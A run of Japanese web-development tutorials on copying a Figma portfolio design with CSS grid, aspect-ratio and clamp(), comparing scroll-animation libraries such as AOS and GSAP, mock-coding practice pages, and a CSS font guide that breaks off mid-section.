ログインしなくてもキャンバスは読み込まれ、ファイル名「準中級」が表示される 画面には「コメント、編集、インスペクトを行うにはサインアップしてください」と表示される つまり、見るだけならログイン不要ですが、サインアップしないと数値（サイズ・余白・色）は読み取れません。模写でいちばん欲しい情報が最初から手に入らない状態です。始める前に、次のどちらで進めるかを決めてください。 方法A：自分のドラフトに複製してから測る Figmaにサインアップしたうえで見本ファイルを自分のドラフトへ複製できれば、複製先では制限なくインスペクトできます。画面上部のファイル名の横にあるメニューから、複製系の項目（Duplicate to your drafts など）を探してみてください。 ただしこの見本ファイルで複製が許可されているかは未確認です。共有設定によっては項目が出てきません（名称もバージョンで変わります）。見当たらない、あるいはエラーになる場合は迷わず方法Bへ切り替えてください。 方法B：比率で合わせる（数値が読めなくても成立する） 準中級の練習としては、むしろこちらのほうが身につきます。pxを1px単位で追うのではなく、キャンバス幅を100としたときの比率に直してから実装するやり方です。 見本の画面をスクリーンショットで保存する 画像編集ソフトの選択範囲などで、各要素の左右・上下の座標を読む キャンバス幅を100として、何パーセントの位置・大きさかに直す CSSは fr と clamp() で組み、固定pxをできるだけ使わない 次のセクションには、実際に方法Bで見本から読み取った比率をそのまま載せています。手が止まったときの答え合わせに使ってください。 完成見本が示しているもの 下の見本画像は、デザイン全体ではなくファーストビュー（ヒーロー）と、その下に続くAboutセクションの入り口までを切り出したものです。まずはこの範囲を作り切ることを目標にしてください。 ヒーロー部分の完成見本。左のテキスト列と右の大きな写真という2カラム構成で、写真の左下に白いブロックが重なる。 この画像から読み取れる構成要素と、実装での扱いは次のとおりです。 領域見本での見え方実装のポイントヘッダー左にロゴ、右にMAIN・GALLERY・PROJECTS・CERTIFICATIONS・CONTACTSの5項目。字間が広く、MAINだけ下線Flexboxで両端に振り分け、letter-spacing を広めに取る左のテキスト列「PROJECT」を細いグレー、「Lorum」を太い黒で2段。下に前後の矢印と「01 / 02」のカウンタ2語で太さと色を変えるだけ。文字は仮なので任意の語でよい右の写真建物を見上げた写真が大きく置かれ、右端に余白が残るこの課題の主役。比率を固定したうえで切り取る写真に重なる白い帯写真の左下に白いブロックが重なり「VIEW PROJECT」が入るGridで同じセルに重ねるか、写真を基準に絶対配置Aboutセクション薄いグレーの帯に小さな画像が並び、右に「About」の見出しヒーローと左右の余白をそろえる そのうえで、見本画像を横1024pxに換算し、白ではない領域の外接矩形を測って比率を出しました。 対象実測値CSSに置き換えるとヒーロー写真の大きさ560 × 604 px（幅÷高さ ＝ 0.927）aspect-ratio: 14 / 15;左テキスト列の幅キャンバス幅の約36%grid-template-columns の左側ヒーロー写真の幅キャンバス幅の約55%grid-template-columns の右側右端に残る余白キャンバス幅の約9.6%padding-inline の右側 これらは見本画像から測った概算であって、Figmaファイル内の設定値ではありません（インスペクトできないため確認できません）。それでも比率さえ合えば見た目はほぼ一致します。建築系ポートフォリオらしさは、装飾ではなく「余白の大きさ」と「写真の比率が最後まで崩れないこと」の2つでほぼ決まるからです。 写真の比率を固定する aspect-ratio とは、要素のボックスに「幅と高さの望ましい比率」を指定するCSSプロパティです（MDN・aspect-ratio／2026年8月2日取得）。MDNのBaseline表示は「広く利用可能」で、2021年9月以降どのブラウザでも使えます。 ヒーロー写真に必要な指定は、骨格だけ書くと次の4行です。 .hero__image { width: 100%; aspect-ratio: 14 / 15; object-fit: cover; object-position: 50% 40%; } aspect-ratio が効かなくなる条件 MDNは「aspect-ratio が効果を持つには、ボックスのサイズの少なくとも片方が自動でなければならない」と明記しています。実際にChromeで確かめると次のようになりました。 指定実測サイズ結果width:300px; height:auto; aspect-ratio:14/15;300 × 321.42 px幅÷高さ 0.933。指定どおりwidth:300px; height:200px; aspect-ratio:14/15;300 × 200 pxaspect-ratio は無視される 検証環境はChrome 150（macOS・2026年8月2日）です。「比率を書いたのに反映されない」の原因は、ほぼこの高さの固定です。カンプの数値を width と height の両方に写すと比率指定は死にます。 object-fit と object-position が担当すること object-fit は、画像や動画のような置換要素の中身をどう箱に収めるかを決めるプロパティです（MDN・object-fit／2026年8月2日取得）。MDNの定義では cover は比率を保ったまま箱いっぱいに拡大してはみ出した分を切り取り、contain は箱に収まるまで縮めるので余りが出ます。初期値は fill で、比率が合わないときは引き伸ばされます。 ここで落とし穴があります。箱の形を決める前に object-fit: cover を書いても何も起きません。400×200pxの画像に width: 300px だけを与えた要素をChromeで測ると 300 × 150px、つまり元画像の比率のままの箱になり、切り取る余地が生まれないためです（実測）。先に aspect-ratio で箱の形を決めてから cover を足してください。 切り取る位置を決めるのが object-position で、既定値は 50% 50%（中央）です（MDN・object-position／2026年8月2日取得）。建築写真は空と建物の頂点が主役になりやすいので、50% 40% のように少し上寄せにすると見本に近づきます。見本と自分の実装を並べて、切れ位置が合う値を探してください。 大きな余白をGridで組む ヒーローの骨格は、実測した 36 : 55 の比率をそのまま2カラムに落とすだけで組めます。 .hero { display: grid; grid-template-columns: 36fr 55fr; grid-template-areas: "title image" "meta image"; gap: clamp(24px, 4vw, 64px); padding-inline: clamp(24px, 8vw, 120px); } .hero__title { grid-area: title; } .hero__meta { grid-area: meta; } .hero__image { grid-area: image; } grid-template-areas は長方形でないと丸ごと無効になる grid-template-areas は、グリッドのセルに名前を付けて領域を作るプロパティです（MDN・grid-template-areas／2026年8月2日取得）。MDNには「同じ名前のセルが長方形を形成しない限り、その宣言は無効である」と書かれています。 実際に、長方形にならないよう "txt img" と "img meta" の2行を書いてChromeで getComputedStyle を読むと、値は none になりました。一部が効かないのではなく、その宣言だけが丸ごと消えます。名前指定を無視した素の並びに戻ったら、まずここを疑ってください。空けておきたいマスは .（MDNの用語ではnull cell token）で埋めます。 gap をパーセントで書かない 余白を可変にしたくて gap をパーセントで書くと、期待と違う結果になります。高さを指定していない親に gap: 10% を指定し、20px四方の子を3つ並べてChromeで測りました。 レイアウト指定実測結果Flexbox（縦並び）gap: 10%間隔は0px。余白が消えるGridgap: 10%間隔は6px。ただしコンテナの高さは余白を含まないまま60pxで、そのぶんあふれる MDNも、Flexboxではパーセントの gap は常に0になり、Gridでは余白を0として高さを計算したあとに余白が足されるためあふれる、と説明しています（MDN・gap／2026年8月2日取得）。余白はパーセントではなくpxか clamp() で書くのが安全です。 その clamp() は最小値・推奨値・最大値の3つを取り、max(MIN, min(VAL, MAX)) として解決されます（MDN・clamp()／2026年8月2日取得）。骨格の padding-inline: clamp(24px, 8vw, 120px) をビューポート幅1400pxで評価すると計算値は112px（＝8vw）でした（実測）。8vwが24pxを下回るところで下げ止まり、広い画面では120pxで頭打ちになります。この一行だけで、メディアクエリを書かずに余白が流動化します。 Figmaの数値をCSSに移すときの対応 インスペクトが使える場合も、方法Bで比率から起こす場合も、対応関係は同じです。 Figma側CSS側移すときの注意Auto Layout の gapgap固定pxのままだと狭い画面で詰まる。clamp() で下限と上限を決めるAuto Layout の paddingpadding-inline左右の余白はこのデザインの主役。 ### [Figma模写 #1　Figmaで始める模写コーディング](https://codequest.work/figma-mosha-practice-start/) Web制作スキルを効率的に高める方法の一つが「模写コーディング」 とくに最近では、Figma（フィグマ）という無料のデザインツールを使って、プロのようなデザインをそのまま模写する学習スタイルが注目されています。 この記事では、Figmaの無料テンプレートを活用しながら、模写練習を始める手順を初心者向けにわかりやすく解説します。 なぜFigmaで模写練習なのか？ Webデザインの模写は、コーディング力だけでなく「構造の理解力」「デザイン再現力」「レスポンシブ対応力」など、現場で必要な幅広いスキルを鍛えるのに最適です。 従来は、完成されたWebサイトをスクリーンショットで模写する方法が一般的でしたが、今はFigmaのテンプレートを使うことで、もっと実務に近い環境で練習できます。 手元にあるのがAdobe XDのファイルの場合は、Adobe XDの現在地とXD資産の移行判断で、Figmaへ移すか据え置くかを先に決めておくと途中で止まりません。 Figmaで模写するメリット 構造が明確：セクション、コンポーネント、レイヤーが整理されている カラー・フォントが確認しやすい：CSSスタイルが「Codeタブ」で見える 画像書き出しが簡単：SVGやPNGで一括ダウンロード可能 無料テンプレートが豊富：Figmaコミュニティから商用レベルのUIが手に入る ステップ1：テンプレートを選ぶ まずは練習に使うテンプレートを選びましょう。今回は以下のテンプレートを例に解説します。 🟡 Illustration-based Portfolio Website Template このテンプレートは、構成がシンプルながらビジュアル的にも完成度が高く、模写練習にぴったりです。 ステップ2：Figmaの基本操作を覚える 模写を始める前に、最低限のFigma操作に慣れておきましょう。 必須操作一覧 操作内容選択ツール（V）要素の位置やサイズを確認するフレーム（F）各ページやセクションの大枠Exportタブ画像・SVGの書き出しが可能Codeタブ色、フォント、余白などのCSSスタイルを確認 ブラウザでもデスクトップでも利用可能です。無料プランで問題ありません。 ステップ3：模写するセクションを決める いきなり全体を模写しようとすると挫折しやすいので、まずは1セクション（例：ヘッダーやHeroエリア）に絞ってスタートしましょう。 おすすめの順序 Header（ヘッダー） Hero（メインビジュアル） About・Service CTA（お問い合わせボタンなど） Footer（フッター） ステップ4：画像とテキストの取得 画像の書き出し方法 画像を選択（またはグループごとに選択） 右の「Export」タブで形式を選ぶ（PNG推奨） 複数画像はShiftクリックで一括書き出しも可能 テキスト情報の取得 「Code」タブを開くと、フォントファミリー、サイズ、カラーコード、line-heightなどがCSS形式で表示されます。 これをそのままスタイルに反映させれば、再現度が一気に高まります。 ステップ5：コーディング開始！ ここから実際のHTML / CSSコーディングに入ります。模写練習では以下のような構成が一般的です。 project/ ├── index.html ├── css/ │ └── style.css ├── img/ │ └── 画像ファイル一式 具体的な手順 HTMLの構造設計：セクション分けし、要素をざっくり配置 CSSでデザイン再現：Figmaの値を参考に余白・カラー・フォントを適用 画像配置：書き出した画像を使ってレイアウトを整える レスポンシブ対応：必要に応じてメディアクエリで調整 ステップ6：振り返りとアレンジ 模写が完了したら、以下の視点で振り返ると学びが定着します。 うまく再現できた点 詰まった点・時間がかかった部分 次に活かせそうな工夫 さらに「色を変えてみる」「レイアウトを左右逆にする」など、少しだけアレンジを加えると、より実践的な力が身につきます。 よくある質問（FAQ） Q. 完全に同じにする必要がありますか？ → まずは100%再現を目指してOKです。その後でカスタマイズ練習に進みましょう。 Q. Figmaで有料テンプレートを使った方がいいですか？ → 無料テンプレートで十分練習できます。まずは数をこなしましょう。 Q. コーディング中に迷ったらどうすれば？ → DevToolsなどでプロのコードを見るのも参考になります。また、FigmaのCodeタブで構造を確認し直しましょう。 おわりに：模写は最高の成長チャンス Figmaを使った模写コーディングは、Web制作初心者が最短で「現場の流れ」を理解できる、非常に実践的な学習方法です。最初は難しく感じるかもしれませんが、小さなセクションから始めて、少しずつ成功体験を積み重ねていきましょう。 継続することで、確実に「見ただけでHTML/CSSの設計が思い浮かぶ目」が養われていきます。あなたの模写の第一歩が、将来の案件獲得やポートフォリオの充実につながるはずです。 Webサイトに本当に必要なのは、派手な動きではなく「伝える力」。アニメーションは、それをサポートする“ちょっとした工夫”にすぎません。無理をせず、今の自分にできる範囲で取り入れていけば大丈夫です。模写の中に、自分なりの「伝え方」を加える楽しさを、ぜひ感じてみてください ### [Webアニメーション完全ガイド｜Animate.css・AOS・IO・GSAP 4手法を比較解説](https://codequest.work/web-animation-animate-css-aos-gsap-io/) Webサイト制作において、スクロールに応じて要素をアニメーションさせる表現は今や定番です。この記事では、CSSだけで手軽に導入できる Animate.css から、スクロール連動の AOS.js、ブラウザ標準の Intersection Observer API、そして圧倒的な表現力を誇る GSAP + ScrollTrigger まで、4つのアニメーション手法を比較しながら実装方法を紹介します。 Animate.css｜クラス追加だけで動くCSSアニメーション Animate.cssは、HTML要素にクラスを追加するだけで、簡単にアニメーションを実装できるCSSアニメーションライブラリです。JavaScript不要で導入も簡単。見出しやボタンに動きをつけて、ユーザーの目を引くUIを実現できます。 導入方法 CDNで読み込む（もっとも手軽） link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css" npmでインストール（開発環境用） npm install animate.css --save 基本の使い方 以下のようにHTMLタグにクラスを追加するだけで動作します。 <h1 class="animate__animated animate__bounce">こんにちは！</h1> animate__animated: アニメーションを有効にする共通クラス animate__bounce: 実際に適用するアニメーション名 人気のアニメーション一覧 クラス名動作内容animate__fadeInフェードイン表示animate__bounce跳ねるanimate__zoomIn拡大して表示animate__slideInUp下からスライド表示animate__flip回転しながら表示 詳細は公式デモで確認できます。 Animate.cssを自作CSSで再現する学習法 Animate.cssを「使うだけ」ではなく、実際にその動きを自分で再現してみることは、CSSアニメーションの理解を深めるのに有効です。 @keyframesの使い方がわかる transformやopacityの効果が理解できる CSSだけで動くアニメーションの構造が明確になる サイトに合った"カスタムアニメーション"が作れるようになる 再現例：bounceの自作 @keyframes bounce { 0%, 20%, 50%, 80%, 100% { transform: translateY(0); } 40% { transform: translateY(-30px); } 60% { transform: translateY(-15px); } } .bounce-custom { animation: bounce 1s ease; } 再現例：fadeInの自作 @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .fadein-custom { animation: fadeIn 1.5s ease-in; } 再現例：slideInUpの自作 @keyframes slideInUp { from { transform: translateY(100%); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .slideinup-custom { animation: slideInUp 1s ease-out; } JavaScript実装コード（AOS / IO / GSAP） // CDN読み込み // AOS: cdn.jsdelivr.net/npm/aos@2.3.4/dist/aos.css + aos.js // GSAP: cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js // ScrollTrigger: cdn.jsdelivr.net/npm/gsap@3.12.5/dist/ScrollTrigger.min.js // AOS 初期化 AOS.init({ offset: 0, duration: 800, once: true, }); // Intersection Observer 初期化 const ioTargets = document.querySelectorAll(".io-box"); const io = new IntersectionObserver( (entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { entry.target.classList.add("active"); } }); }, { rootMargin: "0px 0px -30% 0px", threshold: 0 } ); ioTargets.forEach((el) => io.observe(el)); // GSAP ScrollTrigger gsap.registerPlugin(ScrollTrigger); gsap.fromTo( ".gsap-box", { opacity: 0, y: 50 }, { opacity: 1, y: 0, duration: 1, scrollTrigger: { trigger: ".gsap-box", start: "top 70%", toggleActions: "play none none none", }, } ); ScrollTrigger.refresh(); setTimeout(() => AOS.refreshHard(), 500); 4大アニメーション手法の特徴比較 ライブラリ概要得意なことAnimate.cssクラス追加だけで動くCSSアニメーションライブラリbounce、fadeIn、slideInなどの基本演出をJS不要で実装AOS.jsHTML属性ベースでスクロールアニメーションを設定できる軽量ライブラリfade、zoom、slideなどの基本的な演出を簡単に設定可能Intersection Observer APIブラウザ標準のスクロール検知機能。ライブラリ不要の純粋なJavaScript要素が画面に入ったかどうかを高精度で監視し、任意の処理を実行できるGSAP + ScrollTriggerハイパフォーマンスなJavaScriptアニメーションライブラリピクセル単位での細かいトリガー制御、複雑なアニメーション表現が可能 これらを適材適所で使い分けることで、UXを損なわずに滑らかで直感的な演出が実現できます。 発火タイミングを制御する重要性 アニメーションがいつ始まるか（＝発火タイミング）はユーザー体験に直結します。たとえば、要素が画面に表示された瞬間に fade-up で滑らかに現れる演出は、注目を集めるための視覚効果として有効です。 Animate.css は即時発火が基本。スクロール連動には Intersection Observer との組み合わせが必要 AOS.js は data-aos-offset を使って「画面下30%」「画面下40%」などの柔軟な位置での発火が可能 Intersection Observer では rootMargin を使うことで、正確なトリガー位置を調整 GSAP + ScrollTrigger では start 値でスクロールの発火条件を細かく設定 使用シーンに応じた活用方法 Animate.css：JS不要で手軽にアニメーションを追加 クラスを追加するだけで動作するため、JavaScriptを書かずにアニメーションを実装したい場面に最適です。ページ読み込み時の見出し演出や、ボタンのホバーエフェクトなどに適しています。 AOS.js：手軽にフェードやズームなどのスクロール演出 AOS（Animate On Scroll）はHTMLに data-aos 属性を追加するだけで簡単に使えるスクロールアニメーションライブラリです。特に、静的なページにアニメーションを加えたいときに便利です。 例：data-aos="fade-up"、data-aos-offset="40vh" など 軽量かつ導入が簡単なため、LP（ランディングページ）や商品ページでの演出に適しています Intersection Observer API：状態制御や遅延処理に強い 純粋なJavaScript機能であるIntersection Observerは、特定の要素が画面に入ったかどうかを監視できます。これにより、アニメーションだけでなく、カウンターや読み込み処理、ナビゲーション切り替えなど、インタラクティブなUI制御にも応用できます。 rootMargin や threshold を使った緻密なトリガー制御が可能 ライブラリ不要でパフォーマンス面でも有利 GSAP + ScrollTrigger：複雑な演出や連動表現に最適 GSAP（GreenSock）はJavaScriptで高精度かつ高性能なアニメーションを作れる定番ライブラリです。ScrollTriggerプラグインと組み合わせることで、スクロールに応じた高度な連動アニメーションが可能になります。 スクロール位置によるズーム、回転、ピン留め演出 start・end・scrub・pinなどの詳細設定が可能 インタラクティブなWebサイトやポートフォリオに最適 GSAPで書ける動きを実際に再生しながら選びたい場合は、GSAPアニメーションをコピペで使える無料ツールで、トゥイーン・タイムライン・ScrollTriggerのサンプルをまとめて試せます。 使用パターン別おすすめライブラリ 使用シーン目的推奨ライブラリページ読み込み時のテキスト演出初期表示の基本アニメーションAnimate.cssスクロール連動のfade/zoom表示スクロールに応じた演出AOS.jsヘッダーやUIの状態切り替えナビゲーションや通知表示Intersection Observerセクション全体の動きやズームビジュアル表現やインパクト重視のページGSAP + ScrollTrigger 実務Tips（ベストプラクティス集） ライブラリは目的に応じて使い分ける Animate.css：JS不要で即導入。ページ読み込み時の演出に最適。 AOS.js：コードを書かずに導入できるので学習・試作に便利。 GSAP + ScrollTrigger：高度な制御・複雑なUI演出まで実現可能。 Intersection Observer：ネイティブAPIなので軽量・依存なし。 パフォーマンスに注意 アニメーションを多用すると 描画負荷 が増加。 transform・opacityを使うと比較的軽量でスムーズ。 ユーザー体験を第一に 動きすぎるとUXを損なう。 遷移や要素の強調に絞って「意味のあるアニメーション」にする。 レスポンシブ対応 モバイルでは動きを抑えるか、重要部分だけに限定する。 prefers-reduced-motion メディアクエリでアニメーションをオフにできる配慮が望ましい。 実装ステップの目安 Animate.cssで基本的なアニメーション演出を確認。 Intersection Observerで「発火条件」を確認。 AOSやScrollRevealでシンプルスクロール演出。 複雑UIはGSAP ScrollTriggerで制御。 全体の流れを見てUXを確認・調整。 ### [模写上級 #005 | ファッション雑誌風LPをHTML/CSSで模写練習｜サイドメニュー](https://codequest.work/fashion-magazine-lp-mockup/) このページは、ファッション雑誌の世界観をWeb上で再現したLP（ランディングページ）の模写練習用デモです。HTMLとCSSのみで構成されており、画像の使い方や余白の取り方、雑誌的なタイポグラフィを意識して設計しています。 特に注目すべきポイントは、「LIFESTYLE & CULTURE」セクション以降に登場する左サイドの固定ナビゲーションです。この固定メニューは、閲覧中のユーザーが記事をスムーズに切り替えられるようになっており、position: stickyとflexboxの使い方を実践的に学べます。 demo-site 模写の練習課題としての活用ポイント このLPはアニメーションをあえて付けていない構成にしています。そのため、模写する方が自由にオリジナルの動きを追加できるようになっています。 たとえば、以下のようなアニメーションを自作で追加してみるのがおすすめです： セクションタイトルがスクロール時にフェードインする演出 記事カードにホバー時の拡大エフェクト（transform: scale） 左側ナビゲーションにアクティブ状態のハイライト（スクロール連動） CSSの@keyframesや、JavaScriptのIntersectionObserver、あるいはライブラリ（AOSやGSAPなど）を使えば、雑誌のようなリッチな演出を簡単に実装できます。 こんな方におすすめ HTMLとCSSでしっかりと模写練習をしたい方 レイアウトの再現力や構成力を高めたい方 固定メニューやセクション分けされたLPを作ってみたい方 自分でアニメーションを加えてカスタマイズしたい方 このデモページは、模写練習にとどまらず、自身のアレンジや技術を盛り込んだ作品としてポートフォリオに活用することも可能です。ぜひ、あなただけのオリジナルデザインへと発展させてみてください！ よくある質問（FAQ） Q. ファッション雑誌風LPの模写で学べるスキルは？ グリッドレイアウト・タイポグラフィの強弱（大きな見出しと小さな本文のバランス）・画像とテキストの重なり表現・サイドメニューの固定配置など、デザイン性の高いレイアウト技術が学べます。position: stickyやz-index、mix-blend-modeなど、通常のWebサイトでは使わない上級CSSプロパティの実践にも適した課題です。 Q. 模写コーディングで上級レベルに挑戦する前に必要なスキルは？ Flexbox・CSS Grid・レスポンシブデザイン（メディアクエリ）の3つを自由に使いこなせることが前提です。加えてCSS変数・疑似要素（::before/::after）・position（relative/absolute/sticky/fixed）の理解も必要です。中級レベルのLP模写を3〜5件完成させてから上級に進むのが効率的なステップアップ方法です。 ### [模写上級 #004 | GSAPとScrollTriggerで実現するスクロール連動リバースアニメーション](https://codequest.work/gsap-scroll-animation-reverse/) 近年のフロントエンド開発において、スクロール位置に応じてコンテンツが動くスクロールアニメーションは、ユーザーエンゲージメントを高めるために欠かせない要素になっています。特に、「GSAP (GreenSock Animation Platform)」は、滑らかなWebアニメーションを実現しやすいJavaScriptライブラリとして人気があり、その公式プラグインである「ScrollTrigger」を組み合わせることで、CSSアニメーションだけでは実現が難しい、スクロールと密接に連動する動きを簡潔なコードで記述できます。 本記事では、具体的なコード例（提供いただいた該当ページのコード）を用いて、GSAP ScrollTriggerで実装されたスクロールアニメーションと、「リバース効果」を伴うアニメーションの流れを解説します。また、SEOやパフォーマンス最適化の観点から、こうしたアニメーションがもたらすメリットや留意点にも触れ、実際の制作で役立つ知識をまとめます。 なぜGSAPとScrollTriggerを選ぶのか？ Gsapは微細なアニメーション制御や豊富なイージング、パフォーマンスチューニングなど、JavaScriptベースのアニメーションに必要な機能を網羅しています。一方、「ScrollTrigger」はGsap公式のプラグインで、スクロール位置に応じたアニメーション発火やトリガーポイントの設定、scrubオプションによるシームレスな動き、視差効果（パララックス）など、スクロールに特化した多彩な機能を提供します。 これらを組み合わせると、次のような利点が得られます。 滑らかなパフォーマンス：Gsapは内部的な最適化が施されており、フレーム落ちが少なく、ユーザーが心地よい体験を得やすい。 直感的な記述：triggerやstart, end, scrub, toggleActionsなど、ScrollTrigger特有のオプションを使うことで、複雑なアニメーションをシンプルなコードで実現可能。 SEO効果の間接向上：高速で魅力的なアニメーションは、ユーザーの滞在時間増加や直帰率改善に繋がり、結果として検索エンジンからの評価向上が期待できます。 コード全体像と機能説明 HTML、CSS、JavaScript（GsapとScrollTriggerを使用）のコードです。この例では、ページ内をスクロールすることで、メインビジュアル（MV）のフェードアウトや、各セクション画像の「ページめくり」アニメーション、テキスト文字を一文字ずつ出現させる演出など、ダイナミックなスクロールアニメーションが実現されています。また、上方向へスクロールすると画像が再び回り込むように消える「リバース効果」を取り入れ、ユーザーに双方向的なインタラクションを提供します。 HTML構成ポイント <header>、<section>、<footer>でページをシンプルに構成。 .main-visualセクションにはメイン画像とメインタイトル<h1>が配置されています。 #about、#works、#contactといった各セクションにイメージとテキストが配置され、スクロールによって段階的にアニメーションされる設計です。 CSSのポイント 全体的なフォントや背景色を整え、normalize.cssを使い、リセットを行っています。 .section-imgにtransform: rotateY(90deg); opacity: 0;を初期状態として与え、スクロール時にrotateY: 0かつopacity: 1に変化させることで、ページをめくるような演出を可能にしています。 テキスト要素にはtransform: translateY(30px)やopacity: 0などを初期値として持たせ、スクロールトリガーによって視差的に出現させる仕組みを実現しています。 JavaScript (Gsap+ScrollTrigger)のポイント gsap.registerPlugin(ScrollTrigger);でScrollTriggerを有効化。 gsap.to("#mv-img", {...}) でメインビジュアル画像をスクロールに応じてフェードアウト。 複数のセクション画像に対してsectionImages.forEach()を用いて、gsap.fromTo()で「回転しながら現れる」演出を適用。 同じくgsap.fromTo()で逆スクロール時にはrotateY: -50へ回転し、opacity: 0へ戻すことで、上方向のスクロールでアニメーションがリバースされる効果を付与。 テキストアニメーションはsplitText関数で文字を分割し、staggerオプションで一文字ずつ段階的に表示。これにより洗練された印象を与えます。 模写サンプルサイト　　advanced004 まとめ 本記事では、GsapとScrollTriggerを組み合わせたスクロールアニメーション実装例を、具体的なコードを通して解説しました。特に、上方向へのスクロールでアニメーションが逆再生されるリバース効果は、ユーザーに新鮮で直感的なインタラクションをもたらします。 Gsapは高性能で柔軟なアニメーションライブラリ ScrollTriggerによりスクロール位置に応じたアニメーション制御が容易 「リバース効果」で上下スクロールに対して双方向的な反応を実現 これらの実装手法を習得すれば、フロントエンド開発におけるアニメーション演出の幅が大きく広がります。デザイナーやコンテンツ制作者と協働しながら、ブランドイメージを高め、ユーザーが「また訪れたい」と思うようなサイトを構築してみてください。 よくある質問（FAQ） Q. ScrollTriggerのリバースアニメーションとは？ スクロールで要素が表示された後、スクロールを戻すとアニメーションが逆再生される動作です。ScrollTriggerのtoggleActions設定で「play none none reverse」と指定すると、要素がビューポートから外れた際にアニメーションが元の状態に戻ります。ページを行き来するたびにアニメーションが再生されるインタラクティブな体験を実現できます。 Q. ScrollTriggerのtoggleActionsの設定方法は？ toggleActionsは4つの値を半角スペース区切りで指定します。順に「onEnter・onLeave・onEnterBack・onLeaveBack」の動作を定義し、play・pause・resume・reverse・reset・restart・complete・noneから選択します。例えばtoggleActions: "play pause resume reverse"と設定すると、スクロール方向に応じて自然な再生・逆再生が行われます。 ### [CSSでフォントを自在に操る！基本から応用まで徹底解説](https://codequest.work/css-font-guide/) CSSでフォントを指定したのに反映されない、日本語だけ違う書体になる、英数字が妙に細く見える——フォント周りのつまずきは、ほとんどが「指定したつもりで、実際には別のフォントが当たっている」ことに起因します。この記事では、CSSのフォント指定を実務で使える粒度まで整理し、最後に「いま画面に出ているフォントが本当に指定どおりか」をブラウザで確認する手順までを通します。 先に結論を書きます。font-family は「このフォントを使え」という命令ではなく、「この順番で探せ」という候補リストです。ブラウザは先頭から順に、しかも1文字ごとに使えるフォントを探します。この仕組みを理解すると、フォント周りの不具合の大半は原因が特定できます。 font-familyは「指定」ではなく「候補リスト」 ここを誤解したままだと、後述するトラブルの原因が永久に分かりません。まず仕組みから押さえます。 ブラウザは1文字ずつフォントを探している font-family にカンマ区切りで並べた値は「フォントフォールバック」と呼ばれる候補リストです。MDNのfont-family解説にあるとおり、ブラウザは先頭の候補から順に評価し、その文字のグリフ（字形）を持っているフォントが見つかった時点で採用します。 重要なのは、この判定が要素単位ではなく文字単位で行われることです。「Web制作2026」という文字列に対して、英数字は1番目のフォント、日本語は3番目のフォント、というように混在した結果になり得ます。日本語サイトで英数字だけ表情が違って見えるのは、たいていこれが理由です。 欧文フォントを先、和文フォントを後に書く 文字単位で探す仕様を逆に利用するのが、日本語サイトの定石です。欧文フォントを先に書くと、英数字だけ欧文フォントが当たり、日本語は欧文フォントにグリフがないので次の和文フォントへ送られます。結果として「英数字は欧文書体・日本語は和文書体」という組み合わせが1行で実現できます。 /* 欧文 → 和文 → 総称ファミリー の順に並べる */ body { font-family: "Helvetica Neue", Arial, /* 英数字はここが当たる */ "Hiragino Sans", "Yu Gothic", Meiryo, /* 日本語はここへ送られる */ sans-serif; /* 最後の砦 */ } /* 逆順にすると英数字まで和文フォントで表示され、字面が間延びする */ body { font-family: "Hiragino Sans", "Helvetica Neue", sans-serif; } フォント名にスペースが含まれる場合はクオーテーションで囲みます。囲まなくても解釈される場合がありますが、囲む書き方に統一しておくほうが事故が起きません。 総称ファミリーは必ず最後に置く sans-serif や serif は特定のフォント名ではなく「カテゴリ」を指す総称ファミリーです。ユーザーのブラウザ設定に応じた既定フォントに解決されるため、どんな環境でも必ず何かが当たる最後の砦になります。 総称ファミリー意味主な用途sans-serifゴシック体（線の端に飾りがない）本文・UI全般。Webの標準的な選択serif明朝体・セリフ体（端に飾りがある）読み物・格式を出したい見出しmonospace等幅コード表示・数値の桁揃えsystem-uiOSのUIフォントネイティブアプリ風のUI 総称ファミリーを省略すると、候補が全て外れたときにブラウザの既定フォント（多くの環境で明朝系）が当たり、意図しない見た目になります。1行でも書き忘れないことが地味に効きます。 主要プロパティを実務の粒度で押さえる プロパティの一覧だけなら公式ドキュメントで足ります。ここでは実務で判断を迷う3つ——サイズ・ウェイト・行間——の決め方に絞ります。 プロパティ役割実務での指定方針font-familyフォントの候補リスト欧文→和文→総称の順。カスタムプロパティで一元管理font-size文字サイズclamp()で流体化。最小16pxを下回らないfont-weight太さ100〜900の数値で指定。boldは700の別名font-style斜体和文には使わない（機械的な変形になるため）line-height行間単位なしの数値。日本語本文は1.7〜1.9letter-spacing字間見出しはマイナス、和文本文は0〜0.02em font-sizeはclamp()で流体化する スマホとPCでフォントサイズを変えたいとき、メディアクエリで何段も上書きする書き方は保守が重くなります。clamp(最小値, 可変値, 最大値) を使えば、ビューポート幅に応じて1行で連続的に変化させられます。 /* 本文: 375pxで16px → 1280pxで18px に連続変化 */ body { font-size: clamp(1rem, 0.948rem + 0.221vw, 1.125rem); line-height: 1.8; } /* 見出し: 375pxで24px → 1280pxで36px */ h2 { font-size: clamp(1.5rem, 1.19rem + 1.33vw, 2.25rem); line-height: 1.4; letter-spacing: -0.02em; } 可変値の求め方は単純な一次関数です。傾き＝(最大px − 最小px) ÷ (最大幅 − 最小幅)、これを100倍して vw にします。切片は「最小px − 傾き × 最小幅」です。上の本文の例なら、傾きは (18−16)÷(1280−375)＝0.00221 なので 0.221vw、切片は 16−0.00221×375＝15.17px＝0.948rem になります。 最小値は16pxを下回らせないでください。16px未満はスマホのSafariで入力欄が自動ズームする原因になり、可読性の面でも不利です。clamp()の第1引数が下限として効くので、ここに 1rem を置いておけば潰れません。 font-weightは数値で指定する normal は400、bold は700の別名です。名前指定でも動きますが、数値で書いておくと可変フォント（Variable Fonts）で350や550といった中間値が使えます。デザインの微調整の幅が変わるので、最初から数値で統一しておくほうが後が楽です。 注意点は、読み込んでいないウェイトを指定すると、ブラウザが既存ウェイトを機械的に太らせた「合成ボールド」になることです。輪郭が潰れて品質が落ちるので、Webフォントを使う場合は必要なウェイトを明示的に読み込みます。 line-heightは単位なしで指定する line-height: 1.8 のように単位なしで書くと、各要素が自分のfont-sizeを基準に行間を計算します。line-height: 28px のように単位付きで書くと、その値がそのまま子要素へ継承され、フォントサイズの違う見出しや小さい注釈で行間が破綻します。 日本語は文字が正方形に近く画数も多いため、欧文より広めの行間が読みやすくなります。本文は1.7〜1.9、見出しは1.3〜1.5を出発点にして調整すると外しません。 Webフォントの読み込みとパフォーマンス 